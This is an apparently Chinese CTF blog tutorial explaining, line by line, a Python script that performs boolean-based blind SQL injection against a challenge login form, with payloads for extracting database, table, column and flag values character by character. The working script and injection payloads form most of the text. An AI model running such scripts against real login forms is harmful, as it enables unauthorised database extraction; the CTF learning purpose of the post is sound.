前段时间由于过年,浅浅地鸽了几天,出去玩了,这篇文章后会发一个日常文,简单记录一下生活,祝大家新年快乐!
那么衔接上文直接开始吧
admin' and 1=if(substr((select table_name from information_schema.tables where table_schema=database())1,2) like 'adm%',1,0)
在上一篇文章,我们说到了这个语句,并且分析了每个函数的作用
知道了盲注其实就是根据页面的响应情况来"猜"字符
但是一个数据库从数据库名开始,然后是表名,字段名,值
假设大部分是字母z,中间混个y
数据库名:zzzzzzzz
表名:zzzzzz
字段名:zzzzzzzzzz
值:flag{zzzzzzzzzzzzzzzzyzyzyz}
这样的话,手工注入,注出来了,键盘也敲烂了
因此要学会写脚本,让程序代替我们去完成这项机械又枯燥的任务
至于为什么不用ai,SQL盲注千变万化,线上赛大部分可以ai,但是线下呢?线下妥妥断网,没有ai就炸了?存的盲注脚本一旦用不上,那线下就是坐牢
所以必须得知道原理,能够自己手搓,不需要很高端(什么异步,多线程之类的),能写出来,跑出flag,就是好的脚本,一开始别对自己要求那么高
import requests
flag=""
url = "http://ca8494c8-8106-4889-b49a-78888b1b245d.challenge.ctf.show/api/index.php"
dict = "abcdefghijklmnopqrstuvwxyz1234567890{-}"
i = 0
while True:
i+=1
for mid in dict:
payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1) LIKE '{mid}%',1,0)#"
# f"admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1))>{mid},1,0)#"
# f"admin' and if(ascii(substr(database(),{i},1))>{mid},1,0)#"
data = {
"username": payload,
"password": 123
}
#print(data)
r = requests.post(url, data)
if '\\u5bc6\\u7801\\u9519\\u8bef' in r.text:
flag+=mid
print(flag)
break
if mid=='}':
print("盲注结束")
print(f"flag为{flag}")
这是我写的盲注脚本
其实盲注并没有想象的那么难
import requests
导入requests库,这个python第三方库的作用是能够向指定url发起请求并且接收响应,有它才能向题目发起请求
flag=“”
一个空的flag变量,这个待会就知道是什么了
url=题目链接,注意,https要换成http,不然报错(当然也有忽略报错的写法,先不提,一切从简)
dict = “abcdefghijklmnopqrstuvwxyz1234567890{-}”
要猜测的所有字符
i=0:计数,记录当前是第几位
while True
死循环,计算机的死循环有时候并不是坏东西
只要在后面记得写达到某个条件后break结束循环就行(不写问题也不大,注出flag把程序给关了就行)
i+=1
i=i+1的另一种写法
每次执行到这里就会把i+1
说明上一位是注入并且判断为成功,才会来到这里,进行下一位的判断
for mid in dict
从dict遍历每一位,并赋给mid
什么意思?
把dict的值依次赋值给mid这个变量
dict = “abcdefghijklmnopqrstuvwxyz1234567890{-}”
mid=a
mid=b
mid=c
…
依次类推
然后是payload
payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1) LIKE '{mid}%',1,0)#"
和我们手工写的有一点点区别
substr的第2个参数(从第几位开始取)变成了{i}
这是python的格式化字符串写法
由于我们的payload是字符串,但是字符串里面又要加入变量
因此用到格式化字符串的方式
用法:
name="sudo"
chars=f"hello {name}"
print(chars)#输出hello sudo
第一次执行i+=1
此时i=i+1=0+1=1
i为1
所以payload实际上是
payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),1,1) LIKE '{mid}%',1,0)#"
mid也一样,第一次进入for循环,mid的值是dict的第一位,也就是a
payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),1,1) LIKE 'a%',1,0)#"
payload组装完成,接下来是向目标发送
data = {
"username": payload,
"password": 123
}
为什么这样写?因为这个脚本是我做登录框盲注的时候写的
登录,也就是表单提交,大部分都是POST,参数抓个包就能看到
POST请求的参数在python里面就是这样写的
data={
“参数1”:“值1”,
“参数2”:“值2(如果是纯数字的话,可以不加双引号)”
** }**
username是注入点,所以payload直接放username
** r = requests.post(url, data)**
用一个变量接收响应内容
requests.post:调用requests的post函数,第一个参数是url,第二个参数是要发送的数据
这里再贴一下,不用往上翻了
import requests
flag=""
url = "http://ca8494c8-8106-4889-b49a-78888b1b245d.challenge.ctf.show/api/index.php"
dict = "abcdefghijklmnopqrstuvwxyz1234567890{-}"
i = 0
while True:
i+=1
for mid in dict:
payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1) LIKE '{mid}%',1,0)#"
# f"admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1))>{mid},1,0)#"
# f"admin' and if(ascii(substr(database(),{i},1))>{mid},1,0)#"
data = {
"username": payload,
"password": 123
}
#print(data)
r = requests.post(url, data)
if '\\u5bc6\\u7801\\u9519\\u8bef' in r.text:
flag+=mid
print(flag)
break
if mid=='}':
print("盲注结束")
print(f"flag为{flag}")
然后是if判断,如果’\u5bc6\u7801\u9519\u8bef’这串字符在r.text里面,则进入接下来的处理
什么意思?\u5bc6\u7801\u9519\u8bef这个是题目在条件为真(注入语句成立)时给的响应,在做题时根据题目的不同自行调整就行
r.text是什么?
获取响应的文本形式,也就是平时抓包看到的那个响应包
整个if语句的条件是:
‘\u5bc6\u7801\u9519\u8bef’在不在响应的文本形式里
比如提示:“登陆成功”
那就把\u5bc6\u7801\u9519\u8bef换成登陆成功
如果符合条件,进入if内部
flag+=mid
等价于flag=flag+mid
mid是什么?当前猜测的字母,是字符串
flag是什么,空字符串,最开始就写了
字符串和字符串之间的加号,不是运算,而是拼接作用
也就是说如果猜测正确,题目返回真
那就把当前的mid拼接到flag这个字符串里,作为结果输出
然后break(跳出最近的一层循环(for)),开始下一位
如果没猜对,那就继续循环,mid取第二个,再发请求
payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),1,1) LIKE 'b%',1,0)#"
以此类推
payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),1,1) LIKE 'c%',1,0)#"
一直到页面返回条件为真的标志
然后break跳出for
让i+1,继续猜下一位
一直猜到最后,flag的最后一位肯定是}
所以在返回真的标志这个前提下,如果此时mid等于}
那么程序结束运行(我这里偷懒没写停止运行,别学嗷)
知道怎么获取flag了,那就从头来一遍
先获取数据库名,改payload就行
import requests
flag=""
url = "http://ca8494c8-8106-4889-b49a-78888b1b245d.challenge.ctf.show/api/index.php"
dict = "abcdefghijklmnopqrstuvwxyz1234567890{-}"
i = 0
while True:
i+=1
for mid in dict:
payload = f"admin' and if(substr(database(),{i},1) LIKE '{mid}%',1,0)#"
# f"admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1))>{mid},1,0)#"
# f"admin' and if(ascii(substr(database(),{i},1))>{mid},1,0)#"
data = {
"username": payload,
"password": 123
}
#print(data)
r = requests.post(url, data)
if '\\u5bc6\\u7801\\u9519\\u8bef' in r.text:
flag+=mid
print(flag)
break
if mid=='}':
print("盲注结束")
print(f"flag为{flag}")
payload = f"admin' and if(substr(database(),{i},1) LIKE '{mid}%',1,0)#"
payload改成这样
拿到数据库名,然后是表,字段,值,这些都是union注入里学过的
payload = f"admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),{i},1) LIKE '{mid}%',1,0)#"
记得加group_concat,不然没有结果的
还有记得加括号
(select group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’)
因为源代码里面已经有一个正常查询的select语句了,要在它的内部再进行一次查询,就得加个括号
这是第一种盲注脚本的写法:遍历法
还有一种,二分法
这个…鸽一下,手有甲沟炎,敲键盘有点点小痛,先把这个消化一下吧
评论(0)
暂无评论